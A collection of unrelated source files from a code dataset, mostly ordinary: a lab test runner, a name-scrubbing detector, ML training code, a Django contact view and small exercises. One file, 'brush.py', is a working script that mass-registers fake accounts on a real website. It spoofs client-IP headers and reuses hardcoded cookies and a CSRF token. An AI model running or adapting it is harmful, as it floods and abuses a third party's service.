is connected and the operating system is windows', action='store_true')\n argparser.add_argument('--stage', help='Stage tests enabled, stage controller has to be connected via serial port', action='store_true')\n argparser.add_argument('--goniometer', help='Goniometer tests enabled, Motorized goniometer has to be connected via serial port', action='store_true')\n argparser.add_argument('--remote_focus', help='Remote focus tests enabled, Remote focus controller has to be connected via serial port', action='store_true')\n argparser.add_argument('--mes', help='Tests using MES are enabled. MES computer shall be available.', action='store_true')\n argparser.add_argument('--uled', help='Tests expecting microled array are enabled.', action='store_true')\n argparser.add_argument('--pp', help='Tests using parallel port are enabled. Parallel port driver has to be loaded and user shall have root access if tests are run on linux', action='store_true')\n argparser.add_argument('--fw', help='Filterwheel tests enabled.', action='store_true')\n argparser.add_argument('--stim', help='Enable running stimulation pattern tests. Reference frames shall be available', action='store_true')\n argparser.add_argument('--short', help='Run shorter tests.', action='store_true')\n argparser.add_argument('--frame_rate', help='Consider frame rate at visexp_runner tests.', action='store_true')\n argparser.add_argument('--delete_files', help='Delete files generated during test.', action='store_true')\n argparser.add_argument('--repeat', help='Repeat the unit tests.', default=1)\n\n TEST_no_user_action = getattr(argparser.parse_args(), 'no_user_action')\n TEST_daq = getattr(argparser.parse_args(), 'daq')\n TEST_stage = getattr(argparser.parse_args(), 'stage')\n TEST_goniometer = getattr(argparser.parse_args(), 'goniometer')\n TEST_remote_focus = getattr(argparser.parse_args(), 'remote_focus')\n TEST_mes = getattr(argparser.parse_args(), 'mes')\n TEST_uled = getattr(argparser.parse_args(), 'uled')\n TEST_parallel_port = getattr(argparser.parse_args(), 'pp')\n TEST_filterwheel = getattr(argparser.parse_args(), 'fw')\n TEST_stim = getattr(argparser.parse_args(), 'stim')\n TEST_consider_frame_rate = getattr(argparser.parse_args(), 'frame_rate')\n TEST_short = getattr(argparser.parse_args(), 'short')\n TEST_delete_files = getattr(argparser.parse_args(), 'delete_files')\n TEST_repeat = int(getattr(argparser.parse_args(), 'repeat'))\nelse:\n TEST_no_user_action = False\n TEST_daq = False\n TEST_stage = False\n TEST_goniometer = False\n TEST_remote_focus = False\n TEST_mes = False\n TEST_uled = False\n TEST_parallel_port = False\n TEST_filterwheel = False\n TEST_stim = False\n TEST_consider_frame_rate = False\n TEST_short = False\n TEST_delete_files = False\n TEST_repeat = 1\n\nTEST_os = platform.system()\nTEST_machine_info = platform.uname()\nTEST_machine_name = TEST_machine_info[1]\nTEST_osuser = getpass.getuser()\nif TEST_os == 'Darwin':\n TEST_os = 'OSX'\n################# Test parameters ####################\n#The maximal number of pixels that can differ from the reference frame at the testing the rendering of visual stimulation patterns\n#TEST_pixel_difference_threshold = 50.0\n\nTEST_working_folder = ['/tmp/wf', '/mnt/rzws/work-rzws', 'r:\\\\work-rznb-win7', 'c:\\\\temp', '/tmp']\nTEST_results_folder = ['/mnt/rzws/test_results', 'r:\\\\test_results', '/tmp', 'c:\\\\temp']\nTEST_test_data_folder = ['/mnt/rzws/test_data', 'r:\\\\test_data', '/home/rz/codes/data/test_data']\n\n#if TEST_os == 'nt':\n# TEST_test_data_folder = 'u:\\\\software_test\\\\ref_data'\n# TEST_working_folder = 'u:\\\\software_test\\\\working'\n# \n# TEST_reference_frames_folder = 'v:\\\\data\\\\test\\\\frames_win'\n# TEST_reference_mat_file = 'v:\\\\data\\\\test\\\\mes\\\\line_scan_parameters.mat'\n# TEST_reference_z_stack_file = 'v:\\\\data\\\\test\\\\mes\\\\z_stack_ref.mat'\n# TEST_reference_data_folder = 'v:\\\\data\\\\test'\n# TEST_com_port = 'COM4'\n# \n# TEST_stage_com_port = 'COM1'\n# TEST_goniometer_com_port = 'COM9'\n#elif TEST_os == 'posix':\n \n# root = '/mnt/rznb/'#Support running unittests on notebook\n# if not os.path.exists(root):\n# root = '/mnt/databig/'\n# TEST_test_data_folder = os.path.join(root, 'software_test/ref_data')\n# TEST_working_folder = os.path.join(root, 'software_test/working')\n# \n# TEST_reference_frames_folder = '/home/zoltan/visexp/data/test/frames'\n# TEST_reference_mat_file = '/home/zoltan/visexp/data/test/mes/line_scan_parameters.mat'\n# TEST_reference_z_stack_file = '/home/zoltan/visexp/data/test/mes/z_stack_ref.mat'\n# TEST_reference_data_folder = '/mnt/rzws/data/test'\n# TEST_com_port = '/dev/ttyUSB0'\n# \n# \n# TEST_stage_com_port = ''\n# TEST_goniometer_com_port = ''\n#elif TEST_os == 'osx':\n# TEST_reference_frames_folder = '/Users/rz/visexpman/data/test_data/reference_frames_osx'\n# TEST_com_port = ''\n# TEST_working_folder = '/Users/rz/visexpman/data/test'\n# TEST_stage_com_port = ''\n# TEST_goniometer_com_port = ''\n\n\n#== Hardware config during test ==\nTEST_daq_device = 'Dev1'\n\n################# Enable unit tests ####################\n\nTEST_unittests = [\n 'visexpman.engine.visexp_gui.testVisionExperimentGui',\n 'visexpman.engine.vision_experiment.experiment_control.TestCaImaging', \n 'visexpman.engine.visexp_app.TestStim', \n 'visexpman.engine.vision_experiment.experiment.testExperimentHelpers', \n 'visexpman.engine.vision_experiment.experiment_data.TestExperimentData', \n 'visexpman.engine.vision_experiment.screen.TestCaImagingScreen', \n 'visexpman.engine.vision_experiment.stimulation_library.TestStimulationPatterns', \n 'visexpman.engine.TestApplicationInit',\n 'visexpman.engine.generic.parameter.testParameter',\n 'visexpman.engine.generic.fileop.TestFileops',\n 'visexpman.engine.generic.utils.TestUtils',\n 'visexpman.engine.generic.log.TestLog',\n 'visexpman.engine.generic.signal.TestSignal',\n 'visexpman.engine.generic.colors.TestColorUtils',\n 'visexpman.engine.generic.videofile.TestVideoFile',\n 'visexpman.engine.generic.geometry.TestGeometry',\n 'visexpman.engine.hardware_interface.queued_socket.TestQueuedSocket',\n 'visexpman.engine.hardware_interface.instrument.TestInstrument',\n 'visexpman.engine.hardware_interface.daq_instrument.TestAnalogIOProcess',\n 'visexpman.engine.hardware_interface.scanner_control.TestScannerControl',\n ]\n \nTEST_priority_unittests = [\n 'testVisionExperimentGui.test_01_select_stimfile', \n ]\n\nTEST_single_unittest = ''#TestStim.test_07_execute_experiment'#TestCaImagingScreen.test_01_image_display'\n\ndef get_python_processes():\n pids = []\n for pid in psutil.get_pid_list():\n try:\n p = psutil.Process(pid)\n if 'python' in p.name:\n pids.append(pid)\n except:\n pass\n return pids\n\ndef kill_python_processes(dont_kill_pids):\n pids = get_python_processes()\n for pid in pids:\n if pid not in dont_kill_pids:\n p = psutil.Process(pid)\n name = p.name\n p.kill()\n print('{0}/{1} process killed'.format(name, pid))\n \ndef generate_filename(path):\n '''\n Inserts index into filename resulting unique name.\n ''' \n index = 0\n number_of_digits = 5\n while True:\n testable_path = path.replace('.', '_{0:0=5}.'.format(index))\n if not os.path.isfile(testable_path):\n break\n index = index + 1\n if index >= 10 ** number_of_digits:\n raise RuntimeError('Filename cannot be generated')\n return testable_path\n \ndef select_path_exists(paths, dirs = True):\n for path in paths:\n if os.path.exists(path) and ((os.path.isdir(path) and dirs) or (not os.path.isdir(path) and not dirs)):\n return path\n \nTEST_valid_file = select_path_exists(['/mnt/rzws/codes/visexpman/__init__.py', '/etc/fstab', 'c:\\\\temp\\\\dummy.txt', 'r:\\\\codes\\\\visexpman\\\\__init__.py', 'x:\\\\src\\\\visexpman\\\\__init__.py', 'v:\\\\codes\\\\ao-cortical\\\\visexpman\\\\__init__.py', 'c:\\\\Users\\\\rz\\\\codes\\\\__init__.py', 'c:\\\\WINDOWS\\\\TASKMAN.exe'],dirs=False)\nTEST_invalid_file = '/home'\n \ndef prepare_test_data(modulename, working_folder=None, clean_working_dir = True, copy_only_first_file = False):\n ref_folder = os.path.join(select_path_exists(TEST_test_data_folder), modulename)\n if working_folder is None:\n working_folder = select_path_exists(TEST_working_folder)\n elif not os.path.exists(working_folder):\n os.mkdir(working_folder)\n print('preparing test data for {0}'.format(modulename))\n if clean_working_dir and os.path.exists(working_folder):\n shutil.rmtree(working_folder)\n os.mkdir(working_folder)\n for filename in os.listdir(ref_folder):\n output_folder = os.path.join(os.path.dirname(filename), 'output', os.path.split(filename)[1])\n if os.path.exists(output_folder):\n shutil.rmtree(output_folder)\n fn = os.path.join(ref_folder, filename)\n shutil.copy(fn, working_folder)\n if os.path.exists(fn.replace('.hdf5', '.mat')):\n shutil.copy(fn.replace('.hdf5', '.mat'), working_folder)\n if copy_only_first_file:\n break\n time.sleep(1.0)\n return working_folder\n \ndef run_test(path):\n '''\n Runs single test. Path shall contain full module path, test suite class name and test method name separated with dot\n '''\n module_name = '.'.join(path.split('.')[:-2])\n __import__(module_name)\n test_suite = unittest.TestSuite()\n test_suite.addTest(getattr(sys.modules[module_name],path.split('.')[-2])(path.split('.')[-1]))\n unittest.TextTestRunner(verbosity=2).run(test_suite)\n \nimport threading\nclass ShowTestProgress(threading.Thread):\n def __init__(self,filename,ntests):\n threading.Thread.__init__(self)\n self.filename = filename\n self.ntests=ntests\n \n def run(self):\n tests_finished = False\n start_line = -1\n prev_lines = -1\n while True:\n f = open(self.filename, 'rt')\n txt = f.read()\n f.close()\n lines = txt.split('\\n')\n for line_index in range(len(lines)):\n if 'Test results' in lines[line_index]:\n start_line = line_index\n elif 'Ran' in lines[line_index] and 'tests' in lines[line_index]:\n tests_finished = True\n if prev_lines != len(lines):\n prev_lines = len(lines)\n if len(lines) - (start_line+1)> self.ntests:\n break\n if len(lines) == 0:\n test_name = ''\n else:\n test_name = lines[-1]\n test_name = test_name.split(' ')[0]\n sys.stdout.write('\\r=========== {0}/{1} ===========\\t{2} '.format(len(lines) - (start_line+1),self.ntests,test_name))\n sys.stdout.flush()\n if tests_finished:\n break\n time.sleep(2.0)\n\nclass UnitTestRunner(object):\n '''\n This class is responsible for maintaining a list of implemented and ready to run unit tests. Test methods are aggregated and executed with unittest's TextTestRunner class.\n '''\n def __init__(self): \n self.dont_kill_processes = get_python_processes()\n\n def _fetch_test_methods(self, test_class):\n '''\n Fetch test method names from a test class\n '''\n test_methods = []\n for method in dir(test_class):\n if 'test' in method:\n test_methods.append(method)\n return test_methods\n\n def _reference_to_test_class(self, test_class_path):\n '''\n Returns a reference to the test class given in string format\n '''\n test_class_name = test_class_path.split('.')[-1]\n module_path = test_class_path.replace('.' + test_class_name, '')\n __import__(module_path)\n return getattr(sys.modules[module_path], test_class_name)\n \n def _save_computer_parameters(self,f):\n f.write('\\n################# Computer parameters ####################\\n')\n for vn in ['uname', 'architecture', 'python_build', 'python_version']:\n f.write('{0}: {1}\\r\\n'.format(vn, getattr(platform,vn)()))\n \n def _save_test_parameters(self, f):\n f.write('\\n################# Test parameters ####################\\n')\n for pn in dir(sys.modules[__name__]):\n if 'TEST_' in pn[:5]:\n f.write('{0} = {1}\\n'.format(pn, getattr(sys.modules[__name__], pn)))\n pass\n\n def run(self):\n '''\n Aggregates and runs tests.\n '''\n unit_test_start_time = time.time()\n if False and TEST_os == 'posix' and TEST_parallel_port:\n #load parallel port driver \n os.system('rmmod lp')\n os.system('modprobe ppdev')#TODO: replace to popen\n self.test_log = tempfile.mkstemp()[1] \n f = open(self.test_log, 'w')\n f.write(str(sys.argv) + '\\n')\n self._save_computer_parameters(f)\n self._save_test_parameters(f)\n f.write('\\n################# Test results ####################\\n')\n test_suite = unittest.TestSuite()\n #Collect test classes, get test methods from them and add methods to test suite.\n aggregated_test_methods = []\n for test_class_name in TEST_unittests:\n test_class = self._reference_to_test_class(test_class_name)\n test_methods = self._fetch_test_methods(test_class)\n append = True\n if TEST_single_unittest != '' and TEST_single_unittest.split('.')[0] == test_class.__name__ and TEST_single_unittest.split('.')[1] in test_methods:\n test_method = TEST_single_unittest.split('.')[1]\n aggregated_test_methods.append([test_class.__name__ + '.' + test_method, test_method, test_class])\n elif TEST_single_unittest == '':\n aggregated_test_methods.extend([[test_class.__name__ + '.' + test_method, test_method, test_class] for test_method in test_methods])\n #Split list to two: 1. put items in TEST_priority_unittests to the beginning of the list. 2. shuffle the rest\n priority_unittests = []\n other_unittests = []\n for method in aggregated_test_methods:\n if method[0] in TEST_priority_unittests:\n priority_unittests.append(method)\n else:\n other_unittests.append(method)\n reordered_unittests = []\n reordered_unittests.extend(priority_unittests)\n import random\n random.seed(0)\n other_unittests = TEST_repeat*other_unittests\n random.shuffle(other_unittests)\n reordered_unittests.extend(other_unittests)\n for test_method in reordered_unittests:\n test_suite.addTest(test_method[2](test_method[1]))\n #Run tests\n stp = ShowTestProgress(self.test_log, len(reordered_unittests))\n stp.start()\n unittest.TextTestRunner(f, verbosity=2).run(test_suite)\n f.write('\\n' + str(datetime.datetime.now())+'\\n')\n f.close()\n f = open(self.test_log)\n print(f.read())\n f.close()\n #Save tested source files\n if TEST_single_unittest == '':#Do not save source code and test log if single test is run. One test is only run for debug purposes\n self.save_source_and_results()\n if TEST_delete_files:\n print(TEST_working_folder)\n\n if TEST_delete_files:\n time.sleep(2.0)\n wfolder = select_folder_exists(TEST_working_folder)\n shutil.rmtree(wfolder)\n os.mkdir(wfolder)\n #Kill stuck processes\n kill_python_processes(self.dont_kill_processes)\n\n def save_source_and_results(self):\n test_EXPERIMENT_DATA_PATH = generate_filename(os.path.join(select_path_exists(TEST_results_folder), 'test_archive.zip'))\n package_path = os.path.split(os.path.split(sys.modules['visexpman'].__file__)[0])[0]\n #generate list of archivable files and write them to zipfile \n source_zip = zipfile.ZipFile(test_EXPERIMENT_DATA_PATH, \"w\")\n for (path, dirs, files) in os.walk(package_path):\n for file in files: \n if file[-3:] == '.py':\n file_path = os.path.join(path, file)\n source_zip.write(file_path, file_path.replace(package_path, ''))\n source_zip.write(self.test_log, 'test_results.txt')\n source_zip.close()\n #Copy testt log to visexpman/data\n shutil.copy(self.test_log, os.path.join(package_path,'visexpman','data','unit_test_results_{0}.txt'.format(TEST_machine_name)))\n\nif __name__ == \"__main__\":\n utr = UnitTestRunner()\n utr.run()\n\n","repo_name":"rzoli/visexpman","sub_path":"users/test/unittest_aggregator.py","file_name":"unittest_aggregator.py","file_ext":"py","file_size_in_byte":17564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"24734108981","text":"import scrubadub\n\n\nclass CustomNameDetector(scrubadub.detectors.NameDetector):\n \"\"\"Detector that will run through descriptions and detect sensitive data such as names.\n\n\n Upon initialization loops through whitelisted words to append to disallowed nouns, so non-sensitive data\n isn't unnecessarily scrubbed.\n \"\"\"\n # Custom scrubadub logic\n # List of words that should remain unscrubbed\n # Note: These are converted to lower case anyways\n whitelisted_words = [\n \"Staff\",\n \"EMS\",\n \"Fire\",\n \"CPS\",\n \"Rockyview\",\n \"Rocky\",\n \"View\",\n \"Health\",\n \"Link\",\n \"Sheldon\",\n \"Gabapentin\",\n \"Chumir\",\n \"Hospital\",\n \"Fentanyl\",\n \"Writer\",\n \"Crystal\",\n \"Meth\",\n \"Overdose\",\n \"Police\",\n \"Client\",\n \"First\",\n \"Aid\",\n \"Providence\",\n ]\n\n def __init__(self):\n for word in self.whitelisted_words:\n self.disallowed_nouns.add(word)\n","repo_name":"Code-the-Change-YYC/YW-NLP-Report-Classifier","sub_path":"preprocess/scrubadub_scrubber/name_detect.py","file_name":"name_detect.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18737211188","text":"def hello(name):\n global query\n b = 0\n for p, i in enumerate(query):\n if i is None:\n print(f\"Здравствуйте, {name}! Подойдите к окошку номер {p + 1}\")\n query[p] = name\n return\n print(f\"Простите, {name}. Все окна заняты\")\n return\n\n\ndef good_bye(name):\n global query\n for p, i in enumerate(query):\n if name == i:\n print(f\"До свидания, не болейте, {name}\")\n query[p] = None\n return\n print(f\"Простите, {name}, дождитесь своей очереди\")\n\n\ndef search_card(name):\n for i in query:\n if i == name:\n for index, surename in enumerate(base):\n if surename == name:\n print(f\"Ваша карта с номером {index + 1} найдена\")\n return\n print(\"Ваша карта не найдена\")\n return\n print(f\"Простите, {name}, дождитесь своей очереди\")\n return\n","repo_name":"BrawlerPro/Python_Yandex_Lyceum","sub_path":"13.Повторение функций/Айболит 2.0.py","file_name":"Айболит 2.0.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38424140459","text":"import requests,json,os\nimport urllib3\nimport time\nimport random\nfrom concurrent.futures import ThreadPoolExecutor\nimport datetime\nimport re\nfrom urllib.parse import quote\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\ndef create_user():\n get_csrf_cookies = {\n '_csrf_token': '47f53d5a93beff1aa4ef0753716a48579b9f5bb0dd766f1d3195fcdd72f64ae3',\n 'PHPSESSID': '0nojre5l3nonta0mi5escadhrk',\n 'my-application-browser-tab': '',\n 'AWSALB': 'IGH94uKrN7w5yEVS9uoP97fceyhQOmTCNxtvRtHb1Ng1pJinhHZvD86OVVD4RTt4Ob1okBM5/eKcQfnZ7OHyMXazmggAt1oE+cJCqSoZKTXTdkoKkmnnrHsRt+DX',\n }\n \n get_csrf_headers = {\n 'X-Forwarded-For': '192.168.0.91',\n 'X-Originating-IP': '192.168.0.92',\n 'X-Remote-IP': '192.168.0.93',\n 'X-Remote-Addr': '192.168.0.94',\n 'X-Client-IP': '192.168.0.95',\n 'Host': 'www.1542727.com',\n 'Sec-Ch-Ua': '\"Chromium\";v=\"95\", \";Not A Brand\";v=\"99\"',\n 'Accept': 'text/html, */*; q=0.01',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Sec-Ch-Ua-Mobile': '?0',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36',\n 'Sec-Ch-Ua-Platform': '\"macOS\"',\n 'Sec-Fetch-Site': 'same-origin',\n 'Sec-Fetch-Mode': 'cors',\n 'Sec-Fetch-Dest': 'empty',\n 'Referer': 'https://www.1542727.com/',\n 'Accept-Encoding': 'gzip, deflate',\n 'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7',\n }\n \n #response = requests.get('https://www.1542727.com/login/registerTab', headers=get_csrf_headers, cookies=get_csrf_cookies, verify=False)\n ## print(response.text)\n #if response.status_code == 400:\n # print('請求街口異常')\n #elif response.status_code == 504:\n # print('服務器異常')\n #elif response.status_code == 403:\n # print('遭地區限制')\n #elif response.status_code == 200:\n # response = response.text\n # # response = json.loads(response)\n # pattern = r'rf_cs_rForm_.*'\n # first_str = re.findall(pattern, response)[0]\n # csrf = first_str[23:-4]\n # csrf_encode = quote(csrf, 'utf-8')\n\n cookies = {\n '_csrf_token': 'cf7638812854d578dd6f03c6f4999f65bdff573c6fde9584ed9e424e542acc90',\n 'AWSALB': 'p08ovf3gODQj2li2a99eQLRwcAEN/mI/SkBdib8p9zT6FrPXx1Bc9ZVWZf77d3TRdJinObyQL0wIwmMAqzQ8X/GH8qRhgP3SGNS2W1VRVGiXPl3DTh6MS9AFua9k',\n 'AWSALBCORS': 'p08ovf3gODQj2li2a99eQLRwcAEN/mI/SkBdib8p9zT6FrPXx1Bc9ZVWZf77d3TRdJinObyQL0wIwmMAqzQ8X/GH8qRhgP3SGNS2W1VRVGiXPl3DTh6MS9AFua9k',\n 'PHPSESSID': '68qhsbek9lst3ouq3aq56h788c',\n 'my-application-browser-tab': '',\n }\n\n headers = {\n 'Host': 'www.1542727.com',\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',\n 'Accept': '*/*',\n 'Accept-Language': 'en-US,en;q=0.5',\n 'Accept-Encoding': 'gzip, deflate',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Content-Length': '281',\n 'Origin': 'https://www.1542727.com',\n 'Connection': 'close',\n 'Referer': 'https://www.1542727.com/',\n }\n csrf_token = \"e08fb2efaa1464b4b07a8ca458665fa4eRIn3NayygvZdyt9PsohBDJDuCCk7Rhc0SICEOQN16j0w2mBNKGhTrXn7R5qPfXsFlttpsTh9f34OxSetwGXzg%3D%3D\"\n username = ''.join(random.sample('abcdefghijklmnopqrstuvwxyz0123456789',10))\n data = 'username={0}&password=fdgfdgfd&referral_code=&captcha=3960&cg_bind=0&cg_account_id=&cg_bind_from=register&rf_cs_rForm_={1}&password_confirmation=fdgfdgfd'.format(username,csrf_token)\n\n response = requests.post('https://www.1542727.com/login/registerUser', headers=headers, cookies=cookies, data=data, verify=False)\n now = datetime.datetime.now()\n if response.status_code == 400 :\n print('請求接口異常')\n os.system(\"echo {1} {0} 請求接口異常 >> /tmp/123.txt\".format(response.status_code, now))\n\n elif response.status_code == 504 :\n print('服務器異常')\n os.system(\"echo {1} {0} 服務器異常 >> /tmp/123.txt\".format(response.status_code, now))\n elif response.status_code == 403 :\n print('遭地區限制')\n os.system(\"echo {1} {0} 遭地區限制 >> /tmp/123.txt\".format(response.status_code, now))\n elif response.status_code == 200:\n response = response.text\n response = json.loads(response)\n message = response['message']\n code = response['code']\n ###账户已被使用,请重新输入\n if code == \"EA008\":\n pass\n else:\n print(message,username)\n account_list.append(username)\n os.system(\"echo {1} 200 {0}帳號創建成功 >> /tmp/123.txt\".format(username,now))\n else:\n os.system(\"echo {1} {0} 請求失敗,其他異常 >> /tmp/123.txt\".format(response.status_code, now))\n print(response.status_code)\n print(response.text)\n\n \naccount_list = []\ndef run(total_time,processes):\n with ThreadPoolExecutor(max_workers=processes) as executor:\n future_tasks = {executor.submit(create_user(),count,): count for count in range(total_time)}\n\n\nstart = time.time()\ntotal_time = 10000000\nprocesses = 10\nrun(total_time,processes)\nend = time.time()\n#print('開始時間',start)\n#print('結束時間',end)\nprint('運行時間',int(end - start),\"線程數\",processes,\"刷接口數量\",total_time,\"帳號數量\",len(account_list))\n\n#if __name__ == \"__main__\":\n# start = time.time()\n# number = 0\n# for number in range(1,100):\n# create_user(number)\n# end = time.time()\n# print('開始時間',start)\n# print('結束時間',end)\n","repo_name":"qoo7972365/brush_interface","sub_path":"brush.py","file_name":"brush.py","file_ext":"py","file_size_in_byte":5754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27417408192","text":"import pyrogram\nfrom ..object import Object\n\n\nclass PollOption(Object):\n \"\"\"Contains information about one answer option in a poll.\n\n Parameters:\n text (``str``):\n Option text, 1-100 characters.\n\n voter_count (``int``):\n Number of users that voted for this option.\n Equals to 0 until you vote.\n\n data (``bytes``):\n The data this poll option is holding.\n \"\"\"\n\n def __init__(\n self,\n *,\n client: \"pyrogram.Client\" = None,\n text: str,\n voter_count: int,\n data: bytes\n ):\n super().__init__(client)\n\n self.text = text\n self.voter_count = voter_count\n self.data = data\n","repo_name":"pyrogram/pyrogram","sub_path":"pyrogram/types/messages_and_media/poll_option.py","file_name":"poll_option.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":3811,"dataset":"github-code","pt":"11"} +{"seq_id":"36328711079","text":"import tensorflow as tf\nfrom efficientnet_lite import EfficientNetLiteB4\nimport os\nimport pickle\n\nfrom image_ops import preprocess_data, BATCH_SIZE, TARGET_SIZE\n\n\ndef augment_data(images, labels):\n return tf.image.random_flip_left_right(images), labels\n\n\ndef create_datasets(path):\n # Create tf.data.dataset objects\n train_dataset = tf.keras.preprocessing.image_dataset_from_directory(\n directory=path,\n batch_size=BATCH_SIZE,\n image_size=TARGET_SIZE,\n label_mode=\"categorical\",\n labels='inferred',\n seed=12341,\n validation_split=0.2,\n subset=\"training\",\n color_mode=\"rgb\"\n )\n\n val_dataset = tf.keras.preprocessing.image_dataset_from_directory(\n directory=path,\n batch_size=BATCH_SIZE,\n image_size=TARGET_SIZE,\n label_mode=\"categorical\",\n labels='inferred',\n seed=12341,\n validation_split=0.2,\n subset=\"validation\",\n color_mode=\"rgb\"\n )\n\n return train_dataset, val_dataset\n\n\ndef build_model(num_classes):\n base_model = EfficientNetLiteB4(\n input_shape=(TARGET_SIZE[0], TARGET_SIZE[1], 3),\n include_top=False,\n pooling=\"avg\",\n weights=\"imagenet\"\n )\n\n base_model.trainable = False\n\n return tf.keras.Sequential([\n base_model,\n tf.keras.layers.Dropout(0.2),\n tf.keras.layers.Dense(num_classes, activation=\"softmax\")\n ])\n\n\ndef main_train(input_path, num_classes, model_output_path, epochs=5):\n train_dataset, val_dataset = create_datasets(input_path)\n # Add entropy to data and optimize it for training\n AUTOTUNE = tf.data.AUTOTUNE \n train_dataset = train_dataset.map(preprocess_data, num_parallel_calls=AUTOTUNE).map(\n augment_data, num_parallel_calls=AUTOTUNE).prefetch(AUTOTUNE)\n val_dataset = val_dataset.map(\n preprocess_data, num_parallel_calls=AUTOTUNE).prefetch(AUTOTUNE)\n\n model = build_model(num_classes)\n\n model.compile(\n optimizer=tf.keras.optimizers.Adam(),\n loss=tf.keras.losses.CategoricalCrossentropy(from_logits=False),\n metrics=['accuracy']\n )\n\n model.fit(\n train_dataset,\n epochs=epochs,\n validation_data=val_dataset,\n )\n\n model.save(model_output_path)\n \n labels = [i for i in os.listdir(input_path) if not os.path.isfile( os.path.join(input_path, i))]\n pickle.dump(labels, open( os.path.join(model_output_path,'labels.pkl'), 'wb'))","repo_name":"rakruk/imgsort","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26500790699","text":"#Script: list_operations.py\n#Author: Mahalakshmi Subramanian\n#Anita Borg - Python Certification Course\n\n#DESCRIPTION: A python program that calculates how many unique elements are in the input list, prints its odd elements,\n# and replaces a string with its corresponding numerical value, capitalizes and store the string in a list\n\ninput_list=[2, 3, 4, 5, 8, 4, 3, 5, 2, 1, 8, 8, 6, 3, 4, 5, 7, 9]\ninput_string= \"hello pytHon three\"\n\n#Calculate unique elements in input list\nunique_elements=(set(input_list))\nprint(\"No.of unique elements are\",len(unique_elements))\n\n#Print odd elements only from unique list\nsolution_list=[]\nfor ele in unique_elements:\n if ele%2!=0:\n solution_list.append(ele)\nprint(\"odd values in list are\",solution_list)\n\n#Replace, capitalize and store in list\ninput_string=input_string.replace(\"three\", \"3\")\ninput_string=input_string.upper()\nnew_list=[input_string]\nprint(new_list)","repo_name":"maha03/AnitaBorg-Python-Summer2020","sub_path":"Week 2 Coding Challenges/Sequencetypes/list_operations.py","file_name":"list_operations.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36492365381","text":"from django.shortcuts import render\nfrom django.views.generic import TemplateView\nfrom django.template.loader import render_to_string\nfrom django.template.loader import get_template\nfrom django.core.mail import send_mail\nfrom django.http import JsonResponse\n\nfrom .forms import ContactUsForm\n\n# Create your views here.\n\n\nclass HomeView(TemplateView):\n template_name = \"pages/home.html\"\n\n\ndef contact_us(request):\n data = dict()\n if request.method == \"POST\":\n form = ContactUsForm(request.POST or None)\n if form.is_valid():\n name = form.cleaned_data[\"name\"]\n email = form.cleaned_data[\"email\"]\n subject = form.cleaned_data[\"subject\"]\n\n context = {\n \"name\": name,\n \"email\": email,\n \"phone\": form.cleaned_data[\"phone\"],\n \"subject\": subject,\n \"message\": form.cleaned_data[\"message\"],\n }\n ### SEND EMAIL ###\n\n template = get_template(\"pages/emails/contact_us.txt\")\n content = template.render(context)\n send_mail(\n subject,\n content,\n \"{}<{}>\".format(name, email),\n [\"george@tastytablecatering.com\"],\n fail_silently=False,\n )\n\n data[\"html_success_message\"] = render_to_string(\n \"pages/includes/partial_contact_success.html\", request=request,\n )\n data[\"form_is_valid\"] = True\n\n else:\n data[\"form_is_valid\"] = False\n return JsonResponse(data)\n","repo_name":"jtangir87/tastytablemarket","sub_path":"pages/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"33172111654","text":"from utils import * ; from aocd import data\r\n\r\ndef check(b):\r\n colStars = 5 * [0]\r\n for l in b:\r\n if all(n == '*' for n in l):\r\n return True\r\n for i in range(5):\r\n if l[i] == '*': colStars[i] += 1\r\n if any(s == 5 for s in colStars):\r\n return True\r\n\r\nns = [int(n) for n in data.split('\\n\\n')[0].split(',')]\r\nbs = [[[int(m) for m in n.split()] for n in b.split('\\n')] for b in data.split('\\n\\n')[1:]]\r\n\r\ndone = []\r\nfor n in ns:\r\n for b in bs:\r\n for l in b:\r\n for e in range(5):\r\n if l[e] == n: l[e] = '*'\r\n if check(b) and b not in done:\r\n done.append(b)\r\n if len(done) == len(bs):\r\n es = [[e, 0][e == '*'] for l in b for e in l]\r\n print(n * sum(es))\r\n exit()\r\n ","repo_name":"shellbertt/Advent-Of-Code","sub_path":"aoc2021/4_two_Giant_Squid.py","file_name":"4_two_Giant_Squid.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26716711613","text":"import ntplib\nimport time\n\n\nclass NTPPerformance:\n \"\"\"\n\n \"\"\"\n ntp_servers = [\n \"ntp3.stratum1.ru\",\n \"ntp1.stratum1.ru\",\n \"ntp2.stratum1.ru\",\n \"ntp5.stratum2.ru\",\n \"ntp2.stratum2.ru\",\n \"ntp4.stratum2.ru\",\n \"ntp3.stratum2.ru\",\n \"ntp1.stratum2.ru\",\n \"europe.pool.ntp.org\",\n \"ntp4.stratum1.ru\",\n \"ntp5.stratum1.ru\",\n ]\n\n def __init__(self):\n self.__Connection = ntplib.NTPClient()\n\n def get_utc(self):\n for ntp_name in self.ntp_servers:\n 